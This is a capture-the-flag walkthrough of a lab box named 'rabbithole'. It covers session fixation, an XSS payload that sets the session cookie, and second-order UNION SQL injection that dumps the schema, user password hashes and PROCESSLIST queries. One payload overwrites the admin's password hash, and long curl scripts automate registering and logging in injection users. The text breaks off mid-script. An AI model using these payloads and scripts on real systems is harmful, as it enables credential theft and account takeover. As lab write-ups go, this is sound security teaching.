The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find two open ports. Port 22 with SSH and port 80 with an Apache httpd 2.4.59 web server.
Next, we continue with a directory scan on the web server. However, we do not find any other directories or pages that we could find manually too.
The index page welcomes us with a recruitment campaign. We can either log in or register beforehand and then log in. Furthermore, it is pointed out that an anti-bruteforce measure is active and activities are monitored.
On the registration page, we find the same note. We first create a new user and log in.
On the login page, on the other hand, the notice is slightly modified and reveals that the anti bruteforce measure is implemented using database queries. The login takes some time. So the measure might be just a randomized sleep.
Session Fixation
After logging in and out again, we notice that the session cookie remains the same. Furthermore, we can name this cookie as we wish. For example, after logging in with the cookie 0xb0b as the value, this is becomes the valid session name.
This is a vulnerbaility where we could forces a target to use a specific session ID, allowing us to hijack the targets’s session once they log in. This can happen if the application doesn't create a new session ID upon login, leaving the initial session ID vulnerable. Or we could control multiple sessions.
We'll keep this in mind for now and continue.
XSS
Furthermore, we notice that our username is reflected.
We now use an xss payload as the name and see how this is evaluated.
After we have logged in with the user, we see our alert. It works.
At that time, a lot of cookie stealing via xss was tried. But despite the fact that you could A lot of cookie stealing via XSS was attempted at the time. But despite the fact that you could see logins from the admin (in the timestamp list), no payload was triggered. And this is where serendipity came into play when trying out ChatGPT payloads.
We create a user with the following payload and find the following error after logging in.
We migh have SQL Injection (second order) via the username. Second-order SQL injection involves injecting malicious SQL code that is stored in the database. The attack executes later when the application processes this stored data in another operation.
<script>document.cookie = "PHPSESSID=a; path=/";location.reload(); // Optional: Reload to make sure the session ID is used in the current session.</script>
SQL injection (second order)
Below you will always find the payload (i.e. username) and the corresponding response as a screenshot. First, a user must always be registered with the payload as the name and then logged in.
Databasse enumeration
First of all, we check how many columns our current table has. We can guess two from the table with user id and timestamp, but we check anyway.
/" UNION SELECT 1 -- -
/" UNION SELECT 1,2 -- -
So we have two columns, we now enumerate the database using union SQL injection with the help pf theINFORMATION_SCHEMA database. We have the table usersand logins present in the current database.
/" UNION SELECT 1, table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=DATABASE() --
Next, we try to dump the users table. However, we realize that the output is limited to 16 characters.
/" UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='users'-- -
We use SUBSTRING to retrieve the 16 character blocks step by step from the initial output.
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='users'), 1, 16)-- -
With the second user, we retrieve the next 16 characters.
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='users'), 17, 16)-- -
So the users table consists of id,username,password,group.
Password Dump
Now we want to dump the admin password. It seems to be a MD5 hash. Using hashcat we are unable to crack it using rockyou.txt. We could also try something like https://hashes.com/en/decrypt/hash, but it's not cracked there either.
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(password) FROM users WHERE username='admin'), 1, 16) -- -
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(password) FROM users WHERE username='admin'), 17, 16) -- -
User Enumeration
Besides admin, there are other users present, foo and bar.
/" UNION SELECT 1,`username` FROM users -- -
We repeat the steps from before for the users foo and bar to dump their password hashes. The following is only the payload for user foo.
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(password) FROM users WHERE username='foo'), 1, 16) -- -
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(password) FROM users WHERE username='foo'), 17, 16) -- -
We are able to crack both hashes, which confirms we are dealing with an MD5 hash. But they are telling us it's a rabbithole.
Another idea is to set the group of a user to admin or change the password hash of the admin user to a one we desire. But after logging in with our set hash for admin, that index page stays the same and does not reveal anything new to us.
\" UNION SELECT 1,2; UPDATE users SET password = 'edfc58e50c421e52d25527a737c249da' WHERE username = 'admin';
Processlist
We can still see that the admin is logging in every minute. So the queries is also triggered and possibly logged.
With a bit of research, we find that INFORMATION_SCHEMA has the table PROCESSLIST. The Information SchemaPROCESSLIST table contains information about running threads.
The column INFO might hold the treasure we are seeking. Since it contains the statement, the thread is executing. With our assumption from earlier that the anti-brute-force measurement is just a sleep, we might have a chance to leak it because the queries stay there while they are executed.
We query for the COMMAND column and see that the current process is running a query.
/" UNION SELECT 1,COMMAND FROM information_schema.PROCESSLIST -- -
Next, we try to dump the INFO column, and see part of a query. Nice.
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(INFO) FROM information_schema.PROCESSLIST), 1, 16) -- -
By reloading the page several times, we can see, with a bit of luck, a different query:
SELECT * from us
This might be the admin logging in.
Furthermore, we can observe that several queries are running simultaneously while we are logging in.
After execution finishes, however, this is no longer included in the table.
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(ID) FROM information_schema.PROCESSLIST), 1, 16) -- -
By dumping the table, we always create new queries. However, only the oldest one is of interest, i.e., the one to which the admin logs in. Therefore, we now query for the smallest ID. With a bit of timing, we are able to see a different response, as already mentioned.
\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 1, 16) -- -
We do this in the same way as with the password dump, with a separate user for each 16-character block. Which means that we have to create some users.
Furthermore, the retrieval of the information has to happen quicklicky, before the query vanishes. Fortunately, we have session fixation and can assign a session for each registered user on login. But more on that in a moment, first we register the users.
We can do this laboriously in Burp Suite, as shown below. This is just an example. Using the password, like the username. The following scripts use a much simpler password for readability.
Alternatively, we could use Burp Suite to create the curl request and then adapt the SUBSTRING Parameter to create different users, targeting different blocks:
register.sh
#!/bin/bashcurl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 1, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 17, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 33, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 49, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 65, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 81, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 97, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 113, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 129, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 145, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 161, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 177, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 193, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/register.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 209, 16) -- -&password=asdf&submit=Submit+Query' \
$'http://rabbithole.thm/register.php'
Next, we run the register script to register the users.
Now we need to log in with the users. We could use Burp Suite again, where we need to edit the PHPSESSID value and the SUBSTRING Parameter. For each user, we need a different session ID.
This could also be done using the following script:
login.sh
#!/bin/bashcurl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 197' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=1' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 1, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=2' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 17, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=3' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 33, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=4' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 49, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=5' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 65, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=6' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 81, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 198' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=7' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 97, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=8' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 113, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=9' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 129, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=10' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 145, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=11' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 161, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=12' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 177, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
